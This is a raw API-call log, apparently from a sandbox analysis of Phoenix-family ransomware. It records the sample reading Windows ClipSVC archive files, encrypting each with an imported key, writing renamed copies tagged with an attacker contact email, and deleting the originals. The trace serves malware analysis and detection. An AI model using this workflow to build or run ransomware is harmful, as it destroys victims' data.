	[0243.236] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xde0, lpOverlapped=0x0) returned 1
	[0243.237] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151280) returned 1
	[0243.237] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.237] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0243.237] CryptDestroyKey (hKey=0x151280) returned 1
	[0243.237] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0243.237] CryptDestroyKey (hKey=0x151680) returned 1
	[0243.237] CloseHandle (hObject=0x2d0) returned 1
	[0243.237] CloseHandle (hObject=0x2d8) returned 1
	[0243.237] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\280b97f1-1f94-1458-c842-d18e2d1e05f9.xml")) returned 1
	[0243.238] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0243.238] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28502d06-9d29-8514-1e5d-64447116d798.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28502d06-9d29-8514-1e5d-64447116d798.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.433] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2789) returned 1
	[0243.433] CloseHandle (hObject=0x2f0) returned 1
	[0243.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28502d06-9d29-8514-1e5d-64447116d798.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28502d06-9d29-8514-1e5d-64447116d798.xml")) returned 0x20
	[0243.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28502d06-9d29-8514-1e5d-64447116d798.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28502d06-9d29-8514-1e5d-64447116d798.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.433] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28502d06-9d29-8514-1e5d-64447116d798.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28502d06-9d29-8514-1e5d-64447116d798.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.433] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.433] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.433] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28502d06-9d29-8514-1e5d-64447116d798.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28502d06-9d29-8514-1e5d-64447116d798.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0243.439] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151700) returned 1
	[0243.439] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.439] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xae5, lpOverlapped=0x0) returned 1
	[0243.591] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xaf0) returned 1
	[0243.591] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xaf0, lpOverlapped=0x0) returned 1
	[0243.592] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151740) returned 1
	[0243.592] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.592] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0243.592] CryptDestroyKey (hKey=0x151740) returned 1
	[0243.592] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0243.592] CryptDestroyKey (hKey=0x151700) returned 1
	[0243.592] CloseHandle (hObject=0x2f0) returned 1
	[0243.592] CloseHandle (hObject=0x2c8) returned 1
	[0243.592] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\28502d06-9d29-8514-1e5d-64447116d798.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\28502d06-9d29-8514-1e5d-64447116d798.xml")) returned 1
	[0243.593] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0243.593] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0243.593] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2631) returned 1
	[0243.593] CloseHandle (hObject=0x2c8) returned 1
	[0243.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml")) returned 0x20
	[0243.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.594] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0243.594] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.594] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.594] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.594] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151380) returned 1
	[0243.594] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.594] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa47, lpOverlapped=0x0) returned 1
	[0243.748] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50, dwBufLen=0xa50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50) returned 1
	[0243.748] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa50, lpOverlapped=0x0) returned 1
	[0243.749] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151080) returned 1
	[0243.749] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.749] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0243.749] CryptDestroyKey (hKey=0x151080) returned 1
	[0243.749] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0243.749] CryptDestroyKey (hKey=0x151380) returned 1
	[0243.749] CloseHandle (hObject=0x2c8) returned 1
	[0243.749] CloseHandle (hObject=0x2f0) returned 1
	[0243.749] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\2cb4947b-9a24-70fc-387f-98cfa7cd7461.xml")) returned 1
	[0243.750] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0243.750] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.751] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3510) returned 1
	[0243.751] CloseHandle (hObject=0x2f0) returned 1
	[0243.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml")) returned 0x20
	[0243.751] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.751] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0243.751] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.751] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.751] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0243.752] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1512c0) returned 1
	[0243.752] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.752] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xdb6, lpOverlapped=0x0) returned 1
	[0243.757] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xdc0, dwBufLen=0xdc0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xdc0) returned 1
	[0243.757] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xdc0, lpOverlapped=0x0) returned 1
	[0243.758] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151100) returned 1
	[0243.758] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.758] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0243.758] CryptDestroyKey (hKey=0x151100) returned 1
	[0243.758] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0243.758] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0243.758] CloseHandle (hObject=0x2f0) returned 1
	[0243.758] CloseHandle (hObject=0x2c8) returned 1
	[0243.758] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\38ae356e-4b11-78bd-6f1e-d1fbd81b826a.xml")) returned 1
	[0243.766] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0243.766] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0243.771] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3212) returned 1
	[0243.771] CloseHandle (hObject=0x2ec) returned 1
	[0243.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml")) returned 0x20
	[0243.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.774] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0243.789] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.789] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.789] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0243.801] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151140) returned 1
	[0243.801] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.801] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc8c, lpOverlapped=0x0) returned 1
	[0243.865] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90, dwBufLen=0xc90 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc90) returned 1
	[0243.865] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc90, lpOverlapped=0x0) returned 1
	[0243.866] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0243.866] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.866] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0243.866] CryptDestroyKey (hKey=0x151640) returned 1
	[0243.866] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0243.866] CryptDestroyKey (hKey=0x151140) returned 1
	[0243.866] CloseHandle (hObject=0x2b0) returned 1
	[0243.866] CloseHandle (hObject=0x2c8) returned 1
	[0243.866] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3c8c7eb3-7a1d-7981-0472-571cdd1d1292.xml")) returned 1
	[0243.867] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0243.867] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0243.867] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4039) returned 1
	[0243.867] CloseHandle (hObject=0x2c8) returned 1
	[0243.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml")) returned 0x20
	[0243.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.867] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0243.868] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.868] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0243.868] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\3e260c8e-54e8-d0b9-02ab-2d0faa9743f8.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0243.868] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0243.868] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0243.868] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xfc7, lpOverlapped=0x0) returned 1
	[0243.964] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xfd0, dwBufLen=0xfd0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xfd0) returned 1
